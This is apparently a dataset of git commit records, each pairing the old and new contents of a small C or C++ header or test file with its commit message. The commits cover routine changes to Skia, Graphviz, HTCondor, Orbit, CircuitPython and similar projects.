numpy,hainm\/numpy,mindw\/numpy,MaPePeR\/numpy,numpy\/numpy,empeeu\/numpy,ajdawson\/numpy,MichaelAquilina\/numpy,KaelChen\/numpy,larsmans\/numpy,naritta\/numpy,jschueller\/numpy,pdebuyl\/numpy,NextThought\/pypy-numpy,dwillmer\/numpy,WillieMaddox\/numpy,trankmichael\/numpy,b-carter\/numpy,naritta\/numpy,kiwifb\/numpy,cjermain\/numpy,dato-code\/numpy,pelson\/numpy,numpy\/numpy,shoyer\/numpy,yiakwy\/numpy,andsor\/numpy,tacaswell\/numpy,immerrr\/numpy,ChanderG\/numpy,empeeu\/numpy,seberg\/numpy,charris\/numpy,tdsmith\/numpy,GaZ3ll3\/numpy,mhvk\/numpy,trankmichael\/numpy,joferkington\/numpy,githubmlai\/numpy,bmorris3\/numpy,bertrand-l\/numpy,pbrod\/numpy,matthew-brett\/numpy,seberg\/numpy,groutr\/numpy,astrofrog\/numpy,cowlicks\/numpy,MichaelAquilina\/numpy,numpy\/numpy,kirillzhuravlev\/numpy,skwbc\/numpy,Eric89GXL\/numpy,astrofrog\/numpy,mathdd\/numpy,ogrisel\/numpy,rudimeier\/numpy,MaPePeR\/numpy,SiccarPoint\/numpy,dato-code\/numpy,embray\/numpy,kirillzhuravlev\/numpy,rajathkumarmp\/numpy,groutr\/numpy,mattip\/numpy,tynn\/numpy,skwbc\/numpy,hainm\/numpy,astrofrog\/numpy,pyparallel\/numpy,yiakwy\/numpy,Anwesh43\/numpy,rudimeier\/numpy,ESSS\/numpy,musically-ut\/numpy,Anwesh43\/numpy,AustereCuriosity\/numpy,jschueller\/numpy,pizzathief\/numpy,astrofrog\/numpy,solarjoe\/numpy,BabeNovelty\/numpy,cowlicks\/numpy,pizzathief\/numpy,abalkin\/numpy,jakirkham\/numpy,brandon-rhodes\/numpy,stuarteberg\/numpy,NextThought\/pypy-numpy,skymanaditya1\/numpy,stuarteberg\/numpy,WarrenWeckesser\/numpy,Srisai85\/numpy,numpy\/numpy-refactor,abalkin\/numpy,WillieMaddox\/numpy,matthew-brett\/numpy,numpy\/numpy,stefanv\/numpy,pelson\/numpy,yiakwy\/numpy,madphysicist\/numpy,maniteja123\/numpy,simongibbons\/numpy,jakirkham\/numpy,jschueller\/numpy,bringingheavendown\/numpy,dch312\/numpy,mindw\/numpy,matthew-brett\/numpy,b-carter\/numpy,rhythmsosad\/numpy,tacaswell\/numpy,chatcannon\/numpy,rgommers\/numpy,gfyoung\/numpy,musically-ut\/numpy,utke1\/numpy,pizzathief\/numpy,behzadnouri\/numpy,ContinuumIO\/numpy,ekalosak\/numpy,ChristopherHogan\/numpy,immerrr\/numpy,mwiebe\/numpy,ssanderson\/numpy,endolith\/numpy,sonnyhu\/numpy,sigma-random\/numpy,NextThought\/pypy-numpy,madphysicist\/numpy,ewmoore\/numpy,argriffing\/numpy,rherault-insa\/numpy,SiccarPoint\/numpy,felipebetancur\/numpy,dwf\/numpy,pizzathief\/numpy,BMJHayward\/numpy,nbeaver\/numpy,njase\/numpy,mattip\/numpy,madphysicist\/numpy,dch312\/numpy,larsmans\/numpy,stuarteberg\/numpy,simongibbons\/numpy,grlee77\/numpy,anntzer\/numpy,ekalosak\/numpy,skymanaditya1\/numpy,matthew-brett\/numpy"}
{"commit":"24f4d30135007cb729223094e0855c65cf7025f5","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n  #define SK_LEGACY_HEIF_API\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Remove SK_LEGACY_HEIF_API to enable animation in SkHeifCodec","message":"Remove SK_LEGACY_HEIF_API to enable animation in SkHeifCodec\n\nbug: 78868457\nbug: 120414514\n\ntest: local test with OpenGL Rendrerer Tests animation\ndemo and heifs files\n\nChange-Id: I09a7667a57f545927dbe9ac24c1a6b405ff0006d\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"22da76be1ee64120f69ed35d6f21c85c31df08b6","old_file":"sky\/shell\/android\/platform_view_android.h","new_file":"sky\/shell\/android\/platform_view_android.h","old_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n#define SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n\n#include \"sky\/shell\/platform_view.h\"\n\nstruct ANativeWindow;\n\nnamespace sky {\nnamespace shell {\n\nclass PlatformViewAndroid : public PlatformView {\n public:\n  static bool Register(JNIEnv* env);\n  ~PlatformViewAndroid() override;\n\n  \/\/ Called from Java\n  void Detach(JNIEnv* env, jobject obj);\n  void SurfaceCreated(JNIEnv* env, jobject obj, jobject jsurface);\n  void SurfaceDestroyed(JNIEnv* env, jobject obj);\n\n private:\n  void ReleaseWindow();\n\n  ANativeWindow* window_;\n\n  DISALLOW_COPY_AND_ASSIGN(PlatformViewAndroid);\n};\n\n}  \/\/ namespace shell\n}  \/\/ namespace sky\n\n#endif  \/\/ SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n","new_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n#define SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n\n#include \"sky\/shell\/platform_view.h\"\n\nstruct ANativeWindow;\n\nnamespace sky {\nnamespace shell {\n\nclass PlatformViewAndroid : public PlatformView {\n public:\n  static bool Register(JNIEnv* env);\n  ~PlatformViewAndroid() override;\n\n  \/\/ Called from Java\n  void Detach(JNIEnv* env, jobject obj);\n  void SurfaceCreated(JNIEnv* env, jobject obj, jobject jsurface);\n  void SurfaceDestroyed(JNIEnv* env, jobject obj);\n\n private:\n  void ReleaseWindow();\n\n  DISALLOW_COPY_AND_ASSIGN(PlatformViewAndroid);\n};\n\n}  \/\/ namespace shell\n}  \/\/ namespace sky\n\n#endif  \/\/ SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n","subject":"Stop SkyShell from crashing on startup","message":"Stop SkyShell from crashing on startup\n\nR=chinmaygarde@google.com\n\nReview URL: https:\/\/codereview.chromium.org\/1178773002.\n","lang":"C","license":"bsd-3-clause","repos":"afandria\/mojo,chinmaygarde\/mojo,jianglu\/mojo,afandria\/mojo,jianglu\/mojo,chinmaygarde\/mojo,chinmaygarde\/mojo,jianglu\/mojo,chinmaygarde\/mojo,afandria\/mojo,afandria\/mojo,chinmaygarde\/mojo,jianglu\/mojo,jianglu\/mojo,afandria\/mojo,afandria\/mojo,chinmaygarde\/mojo,jianglu\/mojo,chinmaygarde\/mojo,afandria\/mojo,jianglu\/mojo,chinmaygarde\/mojo,chinmaygarde\/mojo,jianglu\/mojo,afandria\/mojo"}
{"commit":"ab7304d74bef24d2b9eaaa30bd462ecdbd946428","old_file":"lib\/vpsc\/solve_VPSC.h","new_file":"lib\/vpsc\/solve_VPSC.h","old_contents":"","new_contents":"\/**\n * \\brief Solve an instance of the \"Variable Placement with Separation\n * Constraints\" problem.\n *\n * Authors:\n *   Tim Dwyer <tgdwyer@gmail.com>\n *\n * Copyright (C) 2005 Authors\n * \n * This version is released under the CPL (Common Public License) with\n * the Graphviz distribution.\n * A version is also available under the LGPL as part of the Adaptagrams\n * project: http:\/\/sourceforge.net\/projects\/adaptagrams.  \n * If you make improvements or bug fixes to this code it would be much\n * appreciated if you could also contribute those changes back to the\n * Adaptagrams repository.\n *\/\n#ifndef SEEN_REMOVEOVERLAP_SOLVE_VPSC_H\n#define SEEN_REMOVEOVERLAP_SOLVE_VPSC_H\n\n#include <vector>\nclass Variable;\nclass Constraint;\nclass Blocks;\n\n\/**\n * Variable Placement with Separation Constraints problem instance\n *\/\nclass VPSC {\npublic:\n\tvirtual void satisfy();\n\tvirtual void solve();\n\n\tVPSC(const unsigned n, Variable *vs[], const unsigned m, Constraint *cs[]);\n\tvirtual ~VPSC();\nprotected:\n\tBlocks *bs;\n\tConstraint **cs;\n\tunsigned m;\n\tvoid printBlocks();\nprivate:\n\tvoid refine();\n\tbool constraintGraphIsCyclic(const unsigned n, Variable *vs[]);\n\tbool blockGraphIsCyclic();\n};\n\nclass IncVPSC : VPSC {\npublic:\n\tunsigned splitCnt;\n\tvoid satisfy();\n\tvoid solve();\n\tvoid moveBlocks();\n\tvoid splitBlocks();\n\tIncVPSC(const unsigned n, Variable *vs[], const unsigned m, Constraint *cs[]);\nprivate:\n\ttypedef std::vector<Constraint*> ConstraintList;\n\tConstraintList inactive;\n\tdouble mostViolated(ConstraintList &l,Constraint* &v);\n};\n#endif \/\/ SEEN_REMOVEOVERLAP_SOLVE_VPSC_H\n","subject":"Add the vpsc library for IPSEPCOLA features","message":"Add the vpsc library for IPSEPCOLA features\n","lang":"C","license":"epl-1.0","repos":"pixelglow\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,ellson\/graphviz"}
{"commit":"e850f2a6f16480dd37ac1c1b9ac4285bcd9fff7c","old_file":"ext\/osl\/rbosl_move.h","new_file":"ext\/osl\/rbosl_move.h","old_contents":"#include \"ruby.h\"\n#include <osl\/move.h>\n\nextern  VALUE cMove;\n\nusing namespace osl;\n\nvoid rb_move_free(Move* ptr);\nstatic VALUE rb_move_s_new(VALUE self);\n\nvoid Init_move(void);\n","new_contents":"#ifndef RBOSL_MOVE_H\n#define RBOSL_MOVE_H\n\n#include \"ruby.h\"\n#include <osl\/move.h>\n\nextern  VALUE cMove;\n\nusing namespace osl;\n\nvoid rb_move_free(Move* ptr);\nstatic VALUE rb_move_s_new(VALUE self);\n\nvoid Init_move(void);\n\n#endif \/* RBOSL_MOVE_H *\/\n","subject":"Add a missing include guard","message":"Add a missing include guard\n","lang":"C","license":"mit","repos":"myokoym\/ruby-osl,myokoym\/ruby-osl,myokoym\/ruby-osl"}
{"commit":"fc94e16df9496ee6a8d12ed8476a545150526480","old_file":"src\/condor_includes\/condor_fix_unistd.h","new_file":"src\/condor_includes\/condor_fix_unistd.h","old_contents":"#ifndef FIX_UNISTD_H\n#define FIX_UNISTD_H\n\n#include <unistd.h>\n\n\n\/*\n  For some reason the g++ include files on Ultrix 4.3 fail to provide\n  these prototypes, even though the Ultrix 4.2 versions did...\n*\/\n#if defined(ULTRIX43)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\n\tint symlink( const char *, const char * );\n\tchar *sbrk( int );\n\tint gethostname( char *, int );\n#else\n\tint symlink();\n\tchar *sbrk();\n\tint gethostname();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","new_contents":"#ifndef FIX_UNISTD_H\n#define FIX_UNISTD_H\n\n#include <unistd.h>\n\n\n\/*\n  For some reason the g++ include files on Ultrix 4.3 fail to provide\n  these prototypes, even though the Ultrix 4.2 versions did...\n  Once again, OSF1 also chokes, unless _AES_SOURCE(?) is defined JCP\n*\/\n#if defined(ULTRIX43) || defined(OSF1)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\n\tint symlink( const char *, const char * );\n\tchar *sbrk( int );\n\tint gethostname( char *, int );\n#else\n\tint symlink();\n\tchar *sbrk();\n\tint gethostname();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","subject":"Add OSF\/1 to a pre-existing conditional compilation switch.","message":"Add OSF\/1 to a pre-existing conditional compilation switch.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,djw8605\/condor,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,htcondor\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor"}
{"commit":"dd5b849ed810b53946e927ed419082c1fa3d516c","old_file":"tests\/regression\/34-congruence\/02-constants.c","new_file":"tests\/regression\/34-congruence\/02-constants.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.congruence --disable ana.int.def_exc\n\/\/ This test ensures that operations on constant congr. classes (i.e. classes of the form {k} : arbitrary integer k) yield concrete vals\n\nint main() {\n    \/\/ basic arithmetic operators\n    int a = 1;\n    int b = 2;\n    int c = -1;\n    int d = -2;\n\n    assert (a + b == 3); assert (a + d == -1);\n    assert (a * b == 2); assert (b * c == -2);\n    assert (a \/ b == 0); assert (d \/ c == 2);\n    assert (b % a == 0); assert (d % c == 0);\n    assert (-a == -1); assert (-d == 2);\n\n    \/\/ logical operators\n    int zero = 0;\n    int one = 1;\n\n    unsigned int uns_z = 0;\n\n    assert ((zero || one) == 1); assert ((zero || zero) == 0); assert ((one || one) == 1);\n    assert ((zero && one) == 0); assert ((zero && zero) == 0); assert ((one && one) == 1);\n    assert (!one == 0); assert (!zero == 1);\n\n    \/\/ bitwise operators\n    assert ((zero & zero) == 0); assert ((zero & one) == 0); assert ((one & zero) == 0); assert ((one & one) == 1);\n    assert ((zero | zero) == 0); assert ((zero | one) == 1); assert ((one | zero) == 1); assert ((one | one) == 1);\n    assert ((zero ^ zero) == 0); assert ((zero ^ one) == 1); assert ((one ^ zero) == 1); assert ((one ^ one) == 0);\n    assert (~zero == -1); assert (~uns_z == 4294967295);\n\n    \/\/ shift-left\n    unsigned char m = 136;\n    assert ((m << 1) == 16);\n\n    \/\/shift-right missing as only top() is returned currently\n\n    \/\/ comparisons\n    assert ((a < b) == 1);\n    assert ((a > b) == 0);\n    assert ((a == b) == 0);\n    assert ((a != b) == 1);\n\n    return 0;\n}","subject":"Add constant test for congruence domain","message":"Add constant test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"063b55a1ac04addc0989efb15d41d2232e5353da","old_file":"OrbitGl\/GraphTrack.h","new_file":"OrbitGl\/GraphTrack.h","old_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_GL_GRAPH_TRACK_H\n#define ORBIT_GL_GRAPH_TRACK_H\n\n#include <limits>\n\n#include \"ScopeTimer.h\"\n#include \"Track.h\"\n\nclass TimeGraph;\n\nclass GraphTrack : public Track {\n public:\n  explicit GraphTrack(TimeGraph* time_graph);\n  Type GetType() const override { return kGraphTrack; }\n  void Draw(GlCanvas* canvas, bool picking) override;\n  void OnDrag(int x, int y) override;\n  void AddTimer(const Timer& timer) override;\n  float GetHeight() const override;\n\n protected:\n  std::map<uint64_t, double> values_;\n  double min_ = std::numeric_limits<double>::max();\n  double max_ = std::numeric_limits<double>::min();\n  double value_range_ = 0;\n  double inv_value_range_ = 0;\n};\n\n#endif\n","new_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_GL_GRAPH_TRACK_H\n#define ORBIT_GL_GRAPH_TRACK_H\n\n#include <limits>\n\n#include \"ScopeTimer.h\"\n#include \"Track.h\"\n\nclass TimeGraph;\n\nclass GraphTrack : public Track {\n public:\n  explicit GraphTrack(TimeGraph* time_graph);\n  Type GetType() const override { return kGraphTrack; }\n  void Draw(GlCanvas* canvas, bool picking) override;\n  void OnDrag(int x, int y) override;\n  void AddTimer(const Timer& timer) override;\n  float GetHeight() const override;\n\n protected:\n  std::map<uint64_t, double> values_;\n  double min_ = std::numeric_limits<double>::max();\n  double max_ = std::numeric_limits<double>::lowest();\n  double value_range_ = 0;\n  double inv_value_range_ = 0;\n};\n\n#endif\n","subject":"Use numeric_limits<double>::lowest instead of numeric_limits<double>::min","message":"Use numeric_limits<double>::lowest instead of numeric_limits<double>::min\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"af9dfccab1d126811fe6cab3f141a65b41884c6d","old_file":"ports\/raspberrypi\/boards\/qtpy_rp2040\/mpconfigboard.h","new_file":"ports\/raspberrypi\/boards\/qtpy_rp2040\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"Adafruit QTPy RP2040\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define MICROPY_HW_NEOPIXEL (&pin_GPIO12)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO25)\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO24)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_GPIO6)\n#define DEFAULT_SPI_BUS_MOSI (&pin_GPIO3)\n#define DEFAULT_SPI_BUS_MISO (&pin_GPIO4)\n\n\/\/ #define DEFAULT_UART_BUS_RX (&pin_PA11)\n\/\/ #define DEFAULT_UART_BUS_TX (&pin_PA10)\n\n\/\/ Flash chip is GD25Q32 connected over QSPI\n#define TOTAL_FLASH_SIZE (4 * 1024 * 1024)\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"Adafruit QTPy RP2040\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define MICROPY_HW_NEOPIXEL (&pin_GPIO12)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO25)\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO24)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_GPIO6)\n#define DEFAULT_SPI_BUS_MOSI (&pin_GPIO3)\n#define DEFAULT_SPI_BUS_MISO (&pin_GPIO4)\n\n\/\/ #define DEFAULT_UART_BUS_RX (&pin_PA11)\n\/\/ #define DEFAULT_UART_BUS_TX (&pin_PA10)\n\n\/\/ Flash chip is GD25Q64 connected over QSPI\n#define TOTAL_FLASH_SIZE (8 * 1024 * 1024)\n","subject":"Update QT Py flash size","message":"Update QT Py flash size","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"0bd7dc36ef978a11bfe9a4c4d2a19f53e933a7c4","old_file":"src\/linux\/epoll\/peer_testing.h","new_file":"src\/linux\/epoll\/peer_testing.h","old_contents":"#ifndef CJET_PEER_TESTING_H\n#define CJET_PEER_TESTING_H\n\n#ifdef TESTING\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint fake_read(int fd, void *buf, size_t count);\nint fake_send(int fd, void *buf, size_t count, int flags);\nint fake_writev(int fd, const struct iovec *iov, int iovcnt);\n\n#ifdef __cplusplus\n}\n#endif\n\n#define READ fake_read\n#define SEND fake_send\n#define WRITEV fake_writev\n#else\n\n#define READ read\n#define SEND send\n#define WRITEV writev\n\n#endif\n\n#endif\n","new_contents":"#ifndef CJET_PEER_TESTING_H\n#define CJET_PEER_TESTING_H\n\n#ifdef TESTING\n\n#include <sys\/uio.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint fake_read(int fd, void *buf, size_t count);\nint fake_send(int fd, void *buf, size_t count, int flags);\nint fake_writev(int fd, const struct iovec *iov, int iovcnt);\n\n#ifdef __cplusplus\n}\n#endif\n\n#define READ fake_read\n#define SEND fake_send\n#define WRITEV fake_writev\n#else\n\n#define READ read\n#define SEND send\n#define WRITEV writev\n\n#endif\n\n#endif\n","subject":"Add include to provide type struct iovec.","message":"Add include to provide type struct iovec.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"82c12a3cec5c2351c2a114ee62f1d61dd57f4253","old_file":"src\/openboardview\/imgui_impl_sdl_gles2.h","new_file":"src\/openboardview\/imgui_impl_sdl_gles2.h","old_contents":"\/\/ ImGui SDL2 binding with OpenGL ES 2\n\/\/ You can copy and use unmodified imgui_impl_* files in your project.\n\/\/ If you use this binding you'll need to call 4 functions: ImGui_ImplXXXX_Init(), ImGui_ImplXXXX_NewFrame(), ImGui::Render() and\n\/\/ ImGui_ImplXXXX_Shutdown().\n\/\/ See main.cpp for an example of using this.\n\/\/ https:\/\/github.com\/ocornut\/imgui\n\n#ifndef IMGUI_IMPL_SDL_GL2\n#define IMGUI_IMPL_SDL_GL2\n\n#include \"..\/..\/..\/..\/..\/..\/..\/imgui.h\"\n\nstruct SDL_Window;\ntypedef union SDL_Event SDL_Event;\n\nIMGUI_API bool ImGui_ImplSdlGLES2_Init(SDL_Window *window);\nIMGUI_API void ImGui_ImplSdlGLES2_Shutdown();\nIMGUI_API void ImGui_ImplSdlGLES2_NewFrame();\nIMGUI_API bool ImGui_ImplSdlGLES2_ProcessEvent(SDL_Event *event);\n\n\/\/ Use if you want to reset your rendering device without losing ImGui state.\nIMGUI_API void ImGui_ImplSdlGLES2_InvalidateDeviceObjects();\nIMGUI_API bool ImGui_ImplSdlGLES2_CreateDeviceObjects();\n\n#endif \/\/ IMGUI_IMPL_SDL_GL2","new_contents":"\/\/ ImGui SDL2 binding with OpenGL ES 2\n\/\/ You can copy and use unmodified imgui_impl_* files in your project.\n\/\/ If you use this binding you'll need to call 4 functions: ImGui_ImplXXXX_Init(), ImGui_ImplXXXX_NewFrame(), ImGui::Render() and\n\/\/ ImGui_ImplXXXX_Shutdown().\n\/\/ See main.cpp for an example of using this.\n\/\/ https:\/\/github.com\/ocornut\/imgui\n\n#ifndef IMGUI_IMPL_SDL_GL2\n#define IMGUI_IMPL_SDL_GL2\n\n#include \"imgui\/imgui.h\"\n\nstruct SDL_Window;\ntypedef union SDL_Event SDL_Event;\n\nIMGUI_API bool ImGui_ImplSdlGLES2_Init(SDL_Window *window);\nIMGUI_API void ImGui_ImplSdlGLES2_Shutdown();\nIMGUI_API void ImGui_ImplSdlGLES2_NewFrame();\nIMGUI_API bool ImGui_ImplSdlGLES2_ProcessEvent(SDL_Event *event);\n\n\/\/ Use if you want to reset your rendering device without losing ImGui state.\nIMGUI_API void ImGui_ImplSdlGLES2_InvalidateDeviceObjects();\nIMGUI_API bool ImGui_ImplSdlGLES2_CreateDeviceObjects();\n\n#endif \/\/ IMGUI_IMPL_SDL_GL2\n","subject":"Fix imgui include path in GLES renderer","message":"Fix imgui include path in GLES renderer\n","lang":"C","license":"mit","repos":"chloridite\/OpenBoardView,chloridite\/OpenBoardView"}
{"commit":"bd2ff3914c51693544eecbc477b505c7366d3cb3","old_file":"Source\/Regex.h","new_file":"Source\/Regex.h","old_contents":"\/\/  Copyright © 2015 Outware Mobile. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double RegexVersionNumber;\nFOUNDATION_EXPORT const unsigned char RegexVersionString[];\n","new_contents":"#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double RegexVersionNumber;\nFOUNDATION_EXPORT const unsigned char RegexVersionString[];\n","subject":"Remove an invalid copyright notice","message":"Remove an invalid copyright notice\n","lang":"C","license":"mit","repos":"sharplet\/Regex,sclukey\/Regex,sclukey\/Regex,sharplet\/Regex,sharplet\/Regex"}
